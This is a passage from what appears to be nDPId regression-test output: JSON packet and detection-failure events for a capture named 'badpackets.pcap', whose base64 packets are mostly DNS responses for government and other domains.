25zNMAQwBAALgABAAAcIAEbAAIIAgAAHCBZK47XWSJGR6xiA2lycwNnb3YAe+rn2tmycvJNbOGLWjldMLdA22UT7xzZh6HJYvuJrE5+qGxJ\/K9yON+rGW5STnO8kj2d7HsVVtkx7ts0\/\/XDYlHvMvWnWK\/Dq3C0qhX4Y4OXOL2k9lkOXDls5DytCZ+qVKg+alb58DzoDOU5yVHtP9rMKfk9VxtfA9LIEQBilUu0fUAjg6x8b2zwKV\/jt6dY6YdR2oAGxQWcfwUhdEB3XcH5NlvhjHUGSlAUPWnm6zjJAgd2MgFTKihm5f+gD+mtCN9sSjuoCyjb\/J+INEr+l8If9XkT6uujAFdNt62xgrprlhR\/4ZT3wgiZkdJcmZ4Hrkq2N2BnT7dMThz1hN6ZBcFgAAEAAQAAHCAABJjYB6TBYAAuAAEAABwgARsAAQgDAAAcIFkrjtdZIkZHrGIDaXJzA2dvdgCNfUC+vOaSAIQikt\/wOmN6FcRNH787rVK7vx8EOTihWPPbRHscOApvDuppsQAybpUJQDSnhmKXzmW0RGA6n2G0ciYqXXOsL0P3\/\/ygg+7XWZuYzKb304Zfx6QfhPLSsEP8shH+rTSNdno\/S62Ol7IpIPQ0RCioobQ2UR\/UDEXTGGbKuR4mDZJLFYeh5tIFpoqvTkHShLjF6v2OlcN8aKTXl7dgMdindVnqMLXbceQ\/g0+K8BgVnEE\/6MZYL80Ns\/V8grnGdCpO48BX8ffkLGatTdnf+50+sN\/QX2lbVRYMuygjrQrIMeAro+VDEin8TTXEdrj+U639Pp8xolDwNQMSwYAAAQABAAAcIAAEmNgLhMGAAC4AAQAAHCABGwABCAMAABwgWSuO11kiRkesYgNpcnMDZ292AFGjlQ0CcH7S\/YLa1DPEXyweqkjgV2S03PR6JP+jCFHGNKfmV2pVirBrldKkmIh6dGa0ltVAeBhTCcr+8ZtXfz6P7tUuUdPDHhVQPkdmbbxwRKzO5MP+LxNgOdYf4tNoaCzxD8LxFy+wV0RMK42Jdk0LKblpz2I4hl5Ot4PMa+kxYLse429gUV0OCwR8p415576bd12GBm3JlgMhjwLDn\/YULhBVE1vAdeWR\/mInSsz0Na1PaUUoZuz3dxaWAIii5OIt+dc2GSNtHPCTbsCAgkoPVDFmF7HzF0Pgp0r7IG7wKQDJuq4dAzHMJACT32pT6xgRHG+WdY8eMHRoAIggXq\/BkgABAAEAABwgAASY2AuFwZIALgABAAAcIAEbAAEIAwAAHCBZK47XWSJGR6xiA2lycwNnb3YAJ3yCZvDhJMpICeF2AdNj6dX83t1aIlZReudVBhsa5qliqrUuu1fMBb1RYQ38UscZhlrQBQAAAAAAAGEBAAAAAAAAQwAAAAAAAADE0AAAxA=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":71,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1467} +02338{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":72,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451756,"pkt_ts_usec":278993,"pkt_caplen":1501,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1501,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcGPEgADcRhwSY2AekzLpQ5QA1Q8QLg5NBAMmEAAABAAIABQAPA25zMwNpcnMDZ292AAAcAAHADAAcAAEAABwgABAmEAAwIAAAUwAAAAAAAACQwAwALgABAAAcIAEbABwIAwAAHCBZK47XWSJGR6xiA2lycwNnb3YAggGB5zn+E1Pg+FLMqTHnbMA\/oOer5LeX4aIHpNS4o6eo3\/mQLBqkFditZ2io9gnZB4qh2JsMATiESYiHWEYj0bEtKixiKHmqgPaqgsClUlMc36a53fLyVtyHOsfb4Bn06ipKA\/mFDV0+OoNw8Y3Ho1jSbY7bHubvRM+pfr9JzoRxfb3DWL73ZWluCLfXSQajOLrJJnVQ+P2lNfaTK3czYjjMf3wRU9NKWnRGD4+bDy+2RctwKE\/IMs\/GjQVGFjztYPa6p\/mlAS1K5K4FizcZBjmrNEKa71WUgVe3uiPYOufTuXw7A\/z431698ylT38+Lw74o4px+sIHQ1lAUZBM4AMAQAAIAAQAAHCAABgNuczHAEMAQAAIAAQAAHCAABgNuczLAEMAQAAIAAQAAHCAAAsAMwBAAAgABAAAcIAAGA25zNMAQwBAALgABAAAcIAEbAAIIAgAAHCBZK47XWSJGR6xiA2lycwNnb3YAe+rn2tmycvJNbOGLWjldMLdA22UT7xzZh6HJYvuJrE5+qGxJ\/K9yON+rGW5STnO8kj2d7HsVVtkx7ts0\/\/XDYlHvMvWnWK\/Dq3C0qhX4Y4OXOL2k9lkOXDls5DytCZ+qVKg+alb58DzoDOU5yVHtP9rMKfk9VxtfA9LIEQBilUu0fUAjg6x8b2zwKV\/jt6dY6YdR2oAGxQWcfwUhdEB3XcH5NlvhjHUGSlAUPWnm6zjJAgd2MgFTKihm5f+gD+mtCN9sSjuoCyjb\/J+INEr+l8If9XkT6uujAFdNt62xgrprlhR\/4ZT3wgiZkdJcmZ4Hrkq2N2BnT7dMThz1hN6ZBcFsAAEAAQAAHCAABJjYB6TBbAAuAAEAABwgARsAAQgDAAAcIFkrjtdZIkZHrGIDaXJzA2dvdgCNfUC+vOaSAIQikt\/wOmN6FcRNH787rVK7vx8EOTihWPPbRHscOApvDuppsQAybpUJQDSnhmKXzmW0RGA6n2G0ciYqXXOsL0P3\/\/ygg+7XWZuYzKb304Zfx6QfhPLSsEP8shH+rTSNdno\/S62Ol7IpIPQ0RCioobQ2UR\/UDEXTGGbKuR4mDZJLFYeh5tIFpoqvTkHShLjF6v2OlcN8aKTXl7dgMdindVnqMLXbceQ\/g0+K8BgVnEE\/6MZYL80Ns\/V8grnGdCpO48BX8ffkLGatTdnf+50+sN\/QX2lbVRYMuygjrQrIMeAro+VDEin8TTXEdrj+U639Pp8xolDwNQMSwX4AAQABAAAcIAAEmNgHpcF+AC4AAQAAHCABGwABCAMAABwgWSuO11kiRkesYgNpcnMDZ292AAiDKcsFAKyZAPT6\/BqMm4YGNjnILP\/RiBRbrxE19HyRiZVJxwCUqilv0dC8z9SJfb+rPNQabkmaQAfOPcKhH1sxV5brmQeQEeenqlUiW5YLjefk+NMQgd+NRuOdvGYchkWl5fnmMau\/HlA+HBNsAZN1e+HH49Qw2zLGAFvFYJOqPF\/HCttPr0DY7fU3q\/deTFsRESwvpQebvinvb3rUKnldKnGamoYPobR4sa3Hc7XJ1UAcE0x56k\/d9TLBNjQCHoPmejklH71ALytcz1kqNyblcIX4lJZisb91+kN14GrJEgCW46spplu2sT6hC4lmdNpv9JaIXIh6VBVmBv4anY3ADAABAAEAABwgAASY2AuEwAwALgABAAAcIAEbAAEIAwAAHCBZK47XWSJGR6xiA2lycwNnb3YAUaOVDQJwftL9gtrUM8RfLB6qSOBXZLTc9Hok\/6MIUcY0p+ZXalXQBQAAAAAAAGEBAAAAAAAAQwAAAAAAAADE0AAAxA=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":72,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1467} +01326{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":73,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451760,"pkt_ts_usec":381738,"pkt_caplen":762,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":762,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcGAEgADMRnmeBBg0DzLpQ5QA1ohMIoLZgAPuEEAABAAMABAANBnRpbWUtYgRuaXN0A2dvdgAAAQABwAwAAQABAAAHCAAEgQYPHcAMAC4AAQAABwgAnAABBwMAAAcIWSqP21khSTdNKgRuaXN0A2dvdgB6DVGNpuOznKvdrQN8bwUpu4PENDRSb+5+syaMGo6RaYqni8IQRlgrlLmn0P9fWLeESttBnO35aSL8o+kaUL7kh56Tzeztgfxvi73UEVovSqcWPBrNHp06FMiCkzzWxYm3rwMsy7tgq5QiEQG82TMM5cM\/UdLrrVKTvePPvapChMAMAC4AAQAABwgAnAABBwMAAAcIWSqP21khSTdp9QRuaXN0A2dvdgAH3ZlJ1Plagxurcne6cVxPIYLgmEuZl+Z8WXRbQC0s7YxnKt0M7zxnZKNLd21OfZCww+HGwHXqGzXhrH5S539DqqjEfHlik\/EheQJBrs2wgJD6BuPbFqZ+\/m62e5E1TenoG46sJm2SbQR4t88KGGo41imZHHAUOlsfMJEWeIhOwsD3AAIAAQAABwgABgNnZWHA98D3AAIAAQAABwgABgNiZWHA98D3AC4AAQAABwgAnAACBwIAAAcIWSpvIFkhMlpNKgRuaXN0A2dvdgB\/AugCl6Rz+sTdMBLd\/b9WzbTmwtSJRElGSiFaNkIXGL85DwZ8CN5XIraessCeREIcUwZxVSCZqTN+jQfSqvs0RCCsELGmZy1\/6te8q\/BHGZ6r5Yfp\/FixyK0YEzCx9kE6yxKwCHgAiZ9RYjXpdk7jwKD9iHCh9psgrmi4EqWisMHDAC4AAQAABwgAnAACBwIAAAcIWSpvIFkhMlpp9QRuaXN0A2dvdgClTY7jIx2EAO1rRXMS+rZG5e8+PelDpKXOMRzGWIjrQbBJVXqIaZDLeBgBTWgx3tBkiLlUy1bOdR3MF5sPTTggHRJuEc8rRcMhHY6s0g2zr9CNylE8o5Mcs+HT"} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":73,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":728} +00396{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":74,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451763,"pkt_ts_usec":731982,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":72,"pkt_l4_len":0,"pkt":"eLr5aHlnxDRrta3ICABFAAXcogYgAEARoZXMulDlS2GodAA12qEF7q5VMVqBoAABAA8ABAABA3d3dwNzc2QEbm9hYQNnb3YA"} +00175{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":74,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":38} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":75,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451779,"pkt_ts_usec":464126,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcjkogADURn38YivwdzLpQ5QA1IBMGEoHof96EEwABAAAACAABB2R5bmFtaWMJbGliZXJ0eXByA25ldAAAHAABwBQABgABAAAOEAAkBWRucy0xwBQFYWRtaW7A"} +00175{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":75,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":74} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":76,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451779,"pkt_ts_usec":745556,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcjksgADURn34YivwdzLpQ5QA1chAGEkLdh+yEEwABAAAACAABB2R5bmFtaWMJbGliZXJ0eXByA25ldAAAAQABwBQABgABAAAOEAAkBWRucy0xwBQFYWRtaW7A"} +00175{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":76,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":74} +00689{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":77,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451779,"pkt_ts_usec":762059,"pkt_caplen":286,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":286,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcB3MgADsR6J3HK4U1zLpQ5QA1x0sGxG739qGEEAABAAIABgANA3d3dwVpY2FubgNvcmcAAAEAAcAMAAUAAQAADhAACgN3d3cDdmlwwBDADAAuAAEAAA4QAKAABQcDAAAOEFkvMblZE0c+sGYFaWNhbm4Db3JnAFcOXWiLmAn+7RhE3TKRAZ5C+YCLPXSCXHhs6mLxoYLFSB9OmyFE9HQ90+HWIdUDemeRreC546O8dauCK16auNeVpMGVWBmAVkdmYo\/jYS\/f0rb0ZmripWbPcu3lWPDh7GnpYHF2BQ+z6kikiq9qTkmjhshwCrs5yNXSFD+OutJN\/jecwC8AAgABAAAOEAALBGd0bTEDbA=="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":77,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":252} +01856{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":78,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451795,"pkt_ts_usec":488014,"pkt_caplen":1163,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1163,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcnoIgADsRANkX04VDzLpQ5QA1ZoEP+cmJ9tyEAAABACEAAAAdBF9ub3MEX3RjcAdub3MtYXZnAmN6AAAhAAHADAAhAAEAAAcIAB0AZAAKAbsKZmUtc2VsZjAwNwdub3MtYXZnAmN6AMAMACEAAQAABwgAHQBkAAoBuwpmZS1zZWxmMDAyB25vcy1hdmcCY3oAwAwAIQABAAAHCAAcAGQACgBQCWZlLXByZzAwNAdub3MtYXZnAmN6AMAMACEAAQAABwgAHABkAAoBuwlmZS1wcmcwMDgHbm9zLWF2ZwJjegDADAAhAAEAAAcIAB0AZAAKAFAKZmUtc2VsZjAwNwdub3MtYXZnAmN6AMAMACEAAQAABwgAHQBkAAoAUApmZS1zZWxmMDAyB25vcy1hdmcCY3oAwAwAIQABAAAHCAAdAGQACgG7CmZlLXNlbGYwMDYHbm9zLWF2ZwJjegDADAAhAAEAAAcIABwAZAAKAbsJZmUtcHJnMDAzB25vcy1hdmcCY3oAwAwAIQABAAAHCAAcAGQACgBQCWZlLXByZzAwNgdub3MtYXZnAmN6AMAMACEAAQAABwgAHABkAAoAUAlmZS1wcmcwMDEHbm9zLWF2ZwJjegDADAAhAAEAAAcIAB0AZAAKAFAKZmUtc2VsZjAwMwdub3MtYXZnAmN6AMAMACEAAQAABwgAHQBkAAoAUApmZS1zZWxmMDA4B25vcy1hdmcCY3oAwAwAIQABAAAHCAAcAGQACgG7CWZlLXByZzAwNwdub3MtYXZnAmN6AMAMACEAAQAABwgAHABkAAoAUAlmZS1wcmcwMDIHbm9zLWF2ZwJjegDADAAhAAEAAAcIABwAZAAKAFAJZmUtcHJnMDAzB25vcy1hdmcCY3oAwAwAIQABAAAHCAAdAGQACgG7CmZlLXNlbGYwMDgHbm9zLWF2ZwJjegDADAAhAAEAAAcIAB0AZAAKAbsKZmUtc2VsZjAwNAdub3MtYXZnAmN6AMAMACEAAQAABwgAHABkAAoBuwlmZS1wcmcwMDUHbm9zLWF2ZwJjegDADAAhAAEAAAcIABwAZAAKAFAJZmUtcHJnMDA3B25vcy1hdmcCY3oAwAwAIQABAAAHCAAdAGQACgG7CmZlLXNlbGYwMDEHbm9zLWF2ZwJjegDADAAhAAEAAAcIABwAZAAKAFAJZmUtcHJnMDA1B25vcy1hdmcCY3oAwAwAIQABAAAHCAAcAGQACgBQCWZlLXByZzAwOAdub3MtYXZnAmN6AMAMACEAAQAABwgAHQBkAAoBuwpmZS1zZWxmMDAzB25vcy1hdmcCY3oAwAwAIQABAAAHCAAdAGQACgBQCmZlLXNlbGYwMDYHbm9zLWF2ZwJjegDADAAhAAEAAAcIAB0AZAAKAbsKZmUtc2VsZjAwNQdub3MtYXZnAmN6AMAMACEAAQAABwgAHABkAAoBuwlmZS1wcmcwMDQHbm9zLWF2ZwJjegDADAAhAAEAAAcIAB0AZAAKAFAKZmUtc2VsZjAwNAc="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":78,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1129} +01257{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":79,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451801,"pkt_ts_usec":867184,"pkt_caplen":709,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":709,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcVUIgADoR311APsiTzLpQ5QA1HC4OMzJ8VlCEEAABAAIABgATA25zMgNucmMDZ292AAAcAAHADAAcAAEAAA4QABAgAUnw0GQABhAAAAAAAAGHwAwALgABAAAOEAEbABwHAwAADhBZlIDRWR3Z0YaKA25yYwNnb3YAPWJVgdJKgVrTRsYmmdfgVzqqFqEjtUkbPsBTAyhBqcDqUhyiJ9lBKi0APTMHaoRlm9hKhCaxBf4OosrfcZZZslLTdHCsdWT3HBqF8quhdYgBFhCMYj2GltCBFdXUFuG\/ZMZe\/CYWmCUJwAYCF1Nrid6tA42V3+7Xl7GskBZncS2WWlSxB29bNO5qp\/hzNCvZSu+2CoR2pxntdEHpFyHTMEFW1GIMYaBIBeKmZ9Doz3BzKpSAQQ+2gzTU0pwjmlklQze5+O\/T87VbIrIG0NI6rOWvlrdMZVPfgmbDRUgBonXYW7ys3J4xP6AACqxAfp0yxUWCfy9QuEQQgB+HEB0bVMBXAAIAAQAADhAAAsAMwFcAAgABAAAOEAAGA25zM8BXwFcAAgABAAAOEAAVB2Ruc3NlYzcHZGF0YW10bgNjb20AwFcAAgABAAAOEAALCGRuc3NlYzExwZTAVwACAAEAAA4QAAYDbnMxwFfAVwAuAAEAAA4QARsAAgcCAAAOEFmUgNFZHdnRhooDbnJjA2dvdgCZi7bFn+nZ2P6WVw6o+kkwQuaKLgQuorJ5umHdHNd9400r4gzeBn33Ed0Zu7gD64lr2vhaLbxzLduR1aVAh1X4VlSh2jIQFWHIeoJ8Onasxl0l5tBD7VY1PneeZ1c40Al01eURgN\/WP7woAAMGLHDFWcaVfxALKzEXvlThyjffaO1k\/60LDVhVBDOZ6qeLxCdDVAfYZWLOALT5G71UUp\/mfWeY+zuZZrL9Mg=="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":79,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":675} +00720{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":80,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451802,"pkt_ts_usec":317438,"pkt_caplen":310,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":310,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXc7j0gADgRdoqiljgTzLpQ5QA13WQG3OQmOZmEAAABAAYABgABDXN0YXRpYy1hc3NldHMDdG9wB2NvbWNhc3QDbmV0AAAwAAHADAAwAAEAAAA8AIgBAAMFAwEAAdNI7Jg7FgzKcoFbbTVFnNS103uNlzSi57w6MSU8g4N7BY45c8wRU0sUX4wCfS5mnvFDJOVeri9\/brOPAihImJbUq1qtU1hWYhriE+Q5okjx68WWhd44ZtMny6bsYRvUiusoqWjg23bXi9ii\/7fg+pccZPnCpi15g6KH4Pi07RLdwAwAMAABAAAAPAEIAQEDBQMBAAHH50NT4xwBENYYIASJ2mD3BG9QGEiNhcrE595erpAhJx7YsU81LP9gTvm6xTLb7N7F1r2ajg=="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":80,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":276} +01932{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":81,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451817,"pkt_ts_usec":304087,"pkt_caplen":1212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1212,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcsBogADIR1B2hNyACzLpQ5QA1FhYKYhxxeiOEEAABAAIABAAND2F2aWF0aW9ud2VhdGhlcgNnb3YAAAEAAcAMAAEAAQAAAHgABIxaZc\/ADAAuAAEAAAB4AScAAQUCAAAAeFkriyJZIlCiJtkPYXZpYXRpb253ZWF0aGVyA2dvdgBcAnaQGheMvunF5C4cR5MJ72dSM8drk3RcE\/+nxnzfOogtDZmIWC2uUpk1r8xGZG2a2jRIA\/aj7zKkRbvNWBJ7qmI7yE\/unpmntn5Dyz3Um2RQBCjsXFWyfJgY5adyFQrx82AJTn0XIJJWlgv2g8gLH5cB5vq1Yx2QwIizFaT84HOR9Ro7mx0vPzffSQYtz10RZTKVLepM1R9WCwQoAlCmj1FX3PJSAVW1ysoAcCz8VNw8RQVeI7UOQsrNyeoeQU4fT9ZJVxaQxHfWRAhaVBdW1NMrgGV8IGluYRAdA\/hJk+MHJtjXbnaSeicSZRZLPiWIrQ+9vEs51K9tviWP1U47wFMAAgABAAAAeAAMBG5zLWUEbm9hYcBjwFMAAgABAAAAeAAIBW5zLW13wXnAUwACAAEAAAB4AAgFbnMtbnfBecBTAC4AAQAAAHgBJwACBQIAAAB4WSuLIlkiUKIm2Q9hdmlhdGlvbndlYXRoZXIDZ292ACem07do6v1NXUbeeSFCIj1ItSvoyoZ\/MkEVoL5rYeAY9tnwbNm\/RpXbQs3WZA84dHc8qApmpHZjNOzbQez3KZG7OK1f97Akn7bH1Ky7MKcrTPKH1PCPR0y4c94s6MFoH7fD6SfpHkqVyFkaspk\/OJpadSYLEQw32h1fGec9Via\/3fvcfA9UaUVW48GZIkYFNWZU\/dMHVDul0koiW1RkbrGjSj9jrN8M5OzzGNtQWIjEdvi5TKW5kPQt9XYqkeohSO6NHXOBkElsykELYz0FoRto8wvtZYGKZxoLfRlDES0YDpe+inWG1xWUXgvmym\/DRCrMlOOt9xEshGof6J1Kr9DBdAABAAEAAVGAAASMWiHtwXQAHAABAAFRgAAQJhAAIIAAjAAAAAAAAAACN8GMAAEAAQABUYAABIysEe3BjAAcAAEAAVGAABAmEAAgiACMAAAAAAAAAAI3waAAAQABAAFRgAAEoTcgAsGgABwAAQABUYAAECYQACCMAIwAAAAAAAAAAALBdAAuAAEAAVGAARwAAQUDAAFRgFkri31ZIlD9PnMEbm9hYQNnb3YAHTxu3oTuiFuFiCLpTl\/MK89BN9JBGjfKVUZAF3gZCKhMwx34GFStLHWeXnyc0jpz6oB3UKoWYWqIzl5uLmkTVdATO05wGhRkXmoRFvqHJQ49RQ+pBTNvjvfsZjt4sxWFaBX6dcM71YC5bIV281hFIsnrSJ79QSihSBHieSy9t5YTGlF5LCJijNEWEHJYxDID1Mza+tXKdNXJWHbkQhQwRPJKGX91jqgFPlz4hmfje77PrtKaUJ8h5eApMH+gaNXsNFvzV3nB+6kGVXv2VWVXVPXI3XzMFa8CKHbYrFGd7LJ4f5PFB725JCBxTQ4KeEOuBE0WXVqE9VoK1uYoB4PAK8F0AC4AAQABUYAB"} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":81,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1178} +00672{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":82,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451840,"pkt_ts_usec":165795,"pkt_caplen":274,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":274,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcQSkgAOcRefuDTlH+zLpQ5QA1iN8GuEyAW62FkwABAAAADAABCkhJMDFXRUYwMDEDZXRuA2RsYQNtaWwAAAEAAcAbAAYAAQAAAycAMAhlYWdsZWliMQJhZMAbC3JhbmR5LnNtaXRowBt3sikrAAAqMAAABDgACTqAAAADhMAbAC4AAQAAAycAmwAGCAIAAAOEWS\/o5lkiq9Y2JANkbGEDbWlsAEPjY6zabVfm9vwk6mSh9m4kj9u7ZDlkxqtiglIZTh\/RONTC0jpNpQmC+rJg1+X5ptcybqG6dncq1KPvSJq3fG1w8VDIG7zJf7f6G9gikY9VMCGmBxLlsKtyxHORaw=="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":82,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":240} +00737{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":83,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451840,"pkt_ts_usec":209084,"pkt_caplen":324,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":324,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcQccgAOcReV2DTlH+zLpQ5QA1iBUG6lPedjOFkwABAAAADAABCkhJMDFXRUYwMDEEbm9zYwNkbGEDbWlsAAABAAHAFwAGAAEAAABZADAIZWFnbGVpYjECYWTAHAtyYW5keS5zbWl0aMAcAAAHZgAAALQAAAASAAk6gAAAA4TAFwAuAAEAAABZAKAABggDAAAAtFkv4yBZIqYQMlUEbm9zYwNkbGEDbWlsAHAi\/\/IpY3Psvud3bXls8gvS7SxTXcJbJ2fO4LqoVAeoWw33Sok4nKe8G5wSzgrj+gHIwqz4AXRl3ZauyfrHZKtplIVp\/qYFFwFvnbKy4VuVxCDuV39nS0bYD6vwMZut5duIQsRD92AJMBuJaLwaFueObOvDDzhSu2qWb8T7Pru6wBcALgABAAAA"} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":83,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":290} +00685{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":84,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451840,"pkt_ts_usec":333990,"pkt_caplen":283,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":283,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcQ9AgAOcRd1SDTlH+zLpQ5QA1+V4GwcnHlaqFkwABAAAADAABCkhJMDFXRUYwMDEDb29iA2RsYQNtaWwAAAEAAcAbAAYAAQAAAZUAMAhlYWdsZWliMQJhZMAbC3JhbmR5LnNtaXRowBt3sikrAAAqMAAABDgACTqAAAADhMAbAC4AAQAAAZUAmwAGCAIAAAOEWS\/o5lkiq9Y2JANkbGEDbWlsAEPjY6zabVfm9vwk6mSh9m4kj9u7ZDlkxqtiglIZTh\/RONTC0jpNpQmC+rJg1+X5ptcybqG6dncq1KPvSJq3fG1w8VDIG7zJf7f6G9gikY9VMCGmBxLlsKtyxHORa\/AgRGTYgjUNSA=="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":84,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":249} +01257{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":85,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451860,"pkt_ts_usec":723807,"pkt_caplen":709,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":709,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXctFYgADoRIiVBMSXFzLpQ5QA1N2wOM3VnSZ6EEAABAAIABgATA25zMQNucmMDZ292AAAcAAHADAAcAAEAAA4QABAgAQRwAAEAeiAAAAAAAACXwAwALgABAAAOEAEbABwHAwAADhBZlIDRWR3Z0YaKA25yYwNnb3YALVciLeV6\/9PVH3ix0oDMwPVXP+IuKi7iilwN8AXuICaEixRjMcL3k6CimR5Qqz2Ycw6GKR7q0Ru6zaeR+QYAjDqrD+MMW8dbCcINrpqJWjnqBRalN\/yYo\/yvsBa2wZPK3alx2x5VnRHoD2Js8UfeJJoW0zLMCnQkcnHnI8zIxKzPAlhcVwmcU+2j33B8sM29LmFlzJzazhfNwdxdRvaTNbUEhTzhlpB7woguGh3UcEHOLFrxazn6WmkxImFq2NBaB\/T0eDIozLqDuE+altkXto3Lyhd11i49paFgy0Mhg2C0ZQoPj1+cSeqFyHfhmq920VlYzrf1hk07KsH5DFRWS8BXAAIAAQAADhAAFghkbnNzZWMxMQdkYXRhbXRuA2NvbQDAVwACAAEAAA4QAAYDbnMzwFfAVwACAAEAAA4QAALADMBXAAIAAQAADhAACgdkbnNzZWM3wXXAVwACAAEAAA4QAAYDbnMywFfAVwAuAAEAAA4QARsAAgcCAAAOEFmUgNFZHdnRhooDbnJjA2dvdgCZi7bFn+nZ2P6WVw6o+kkwQuaKLgQuorJ5umHdHNd9400r4gzeBn33Ed0Zu7gD64lr2vhaLbxzLduR1aVAh1X4VlSh2jIQFWHIeoJ8Onasxl0l5tBD7VY1PneeZ1c40Al01eURgN\/WP7woAAMGLHDFWcaVfxA